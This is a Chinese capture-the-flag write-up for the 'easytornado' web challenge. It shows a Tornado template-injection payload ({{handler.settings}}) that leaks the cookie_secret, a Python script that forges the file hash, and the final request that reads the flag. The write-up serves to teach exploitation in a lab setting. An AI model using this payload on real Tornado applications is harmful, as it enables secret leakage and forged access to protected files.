攻防世界Web_easytornado
题目:
解题思路:
题目就三个txt文本文件 , 由python_template_injection这篇随笔中了解到tornado也是python web应用程序模板的一种,应该也是考查模板注入。
打开这三个文本查看一下,结果如下:
flag在 /fllllllllllllag里面,render({options}) 向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。
filename文件名猜测是/fllllllllllllag,将/fllllllllllllag的md5与cookie_secret相加再取md5值。所以只需要知道cookie_secret。
观察查看文件时如下:
发现存在filehash的参数,猜测filehash=md5(cookie_secret+md5(filename))
解题过程:
直接url后加入/fllllllllllllag查看一下发下报错。
发现msg=Error,试试这里的值是否是注入点,发现存在模板注入漏洞。
现在需要知道什么是cookie_secret,参考资料[https://www.jianshu.com/p/b045b195ee76]
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量.
了解了什么是cookie_secret后我们可以通过模板注入构造payload:mag={{handler.settings}}
发现cookie_secret=ac962e3f-841f-4421-9750-30afd0c43782
编写代码计算filehash.
# encoding: utf-8 import hashlib filename="/fllllllllllllag"
cookie_secret ="ac962e3f-841f-4421-9750-30afd0c43782" def getvalue(string):
md5 = hashlib.md5()
md5.update(string.encode('utf-8'))
return md5.hexdigest() def merge():
print(getvalue(cookie_secret + getvalue(filename))) merge()
计算结果:cf215a0a40126053bb917dd170a91a33
最后,构造payload: http://111.200.241.244:62075/file?filename=/fllllllllllllag&filehash=cf215a0a40126053bb917dd170a91a33
=====================================================================
总结:
在tornado模板中,存在一些可以访问的快速对象,如handler.settings,利用render渲染函数漏洞执行可获取cookie_secret的hash值。
最新文章
- 从零到有——我的OA如何成长
- JavaScript权威设计--JavaScript语言核心(简要学习笔记一)
- iOS之数组的排序(升序、降序及乱序)
- kylin cube测试时,报错:org.apache.hadoop.security.AccessControlException: Permission denied: user=root, access=WRITE, inode=";/user";:hdfs:supergroup:drwxr-xr-x
- Windows Office key 持续更新地址
- 改变ListCtrl某行的背景色或者字体颜色
- DevC++ 工程没有调试信息的解决办法
- Kendo UI开发教程(7): Kendo UI 模板概述
- express实践(一)
- .net core 命令行(仅作记录)
- 家庭记账本小程序之框架设计(java web基础版一)
- 组件自定义事件(.sync)实例
- 算法模板学习专栏之总览(会慢慢陆续更新ing)
- Oracle---number数据类型
- poi 创建excel数据
- Hive 打开调试模式
- 订制EditText光标
- http 请求报文和响应报文
- Django---时间的时区问题
- BI产品学习笔记